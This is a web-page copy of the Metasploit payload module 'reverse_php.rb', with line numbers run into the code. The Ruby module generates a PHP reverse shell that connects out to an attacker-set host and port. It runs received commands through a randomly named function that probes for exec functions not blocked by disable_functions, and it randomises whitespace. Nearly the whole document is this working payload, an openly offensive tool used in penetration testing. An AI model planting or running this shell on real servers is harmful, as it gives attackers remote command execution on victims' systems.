Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/payloads/singles/php/reverse_php.rb
Views: 11766
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##456module MetasploitModule78CachedSize = :dynamic910include Msf::Payload::Single11include Msf::Payload::Php12include Msf::Sessions::CommandShellOptions1314def initialize(info = {})15super(merge_info(info,16'Name' => 'PHP Command Shell, Reverse TCP (via PHP)',17'Description' => 'Reverse PHP connect back shell with checks for disabled functions',18'Author' => 'egypt',19'License' => BSD_LICENSE,20'Platform' => 'php',21'Arch' => ARCH_PHP,22'Handler' => Msf::Handler::ReverseTcp,23'Session' => Msf::Sessions::CommandShell,24'PayloadType' => 'cmd',25'Payload' =>26{27'Offsets' => { },28'Payload' => ''29}30))31end3233#34# Issues35# - Since each command is executed in a new shell, 'cd' does nothing.36# Perhaps it should be special-cased to call chdir()37# - Tries to get around disable_functions but makes no attempts to38# circumvent safe mode.39#40def php_reverse_shell4142if (!datastore['LHOST'] or datastore['LHOST'].empty?)43# datastore is empty on msfconsole startup44ipaddr = '127.0.0.1'45port = 444446else47ipaddr = datastore['LHOST']48port = datastore['LPORT']49end50exec_funcname = Rex::Text.rand_text_alpha(rand(10)+5)5152uri = "tcp://#{ipaddr}"53socket_family = "AF_INET"5455if Rex::Socket.is_ipv6?(ipaddr)56uri = "tcp://[#{ipaddr}]"57socket_family = "AF_INET6"58end5960shell=<<-END_OF_PHP_CODE61#{php_preamble(disabled_varname: "$dis")}62$ipaddr='#{ipaddr}';63$port=#{port};6465if(!function_exists('#{exec_funcname}')){66function #{exec_funcname}($c){67global $dis;68#{php_system_block(cmd_varname: "$c", disabled_varname: "$dis", output_varname: "$o")}69return $o;70}71}72$nofuncs='no exec functions';73if(is_callable('fsockopen')and!in_array('fsockopen',$dis)){74$s=@fsockopen("#{uri}",$port);75while($c=fread($s,2048)){76$out = '';77if(substr($c,0,3) == 'cd '){78chdir(substr($c,3,-1));79} else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {80break;81}else{82$out=#{exec_funcname}(substr($c,0,-1));83if($out===false){84fwrite($s,$nofuncs);85break;86}87}88fwrite($s,$out);89}90fclose($s);91}else{92$s=@socket_create(#{socket_family},SOCK_STREAM,SOL_TCP);93@socket_connect($s,$ipaddr,$port);94@socket_write($s,"socket_create");95while($c=@socket_read($s,2048)){96$out = '';97if(substr($c,0,3) == 'cd '){98chdir(substr($c,3,-1));99} else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {100break;101}else{102$out=#{exec_funcname}(substr($c,0,-1));103if($out===false){104@socket_write($s,$nofuncs);105break;106}107}108@socket_write($s,$out,strlen($out));109}110@socket_close($s);111}112END_OF_PHP_CODE113114# randomize the spaces a bit115Rex::Text.randomize_space(shell)116117return shell118end119120#121# Constructs the payload122#123def generate(_opts = {})124return super + php_reverse_shell125end126end127128129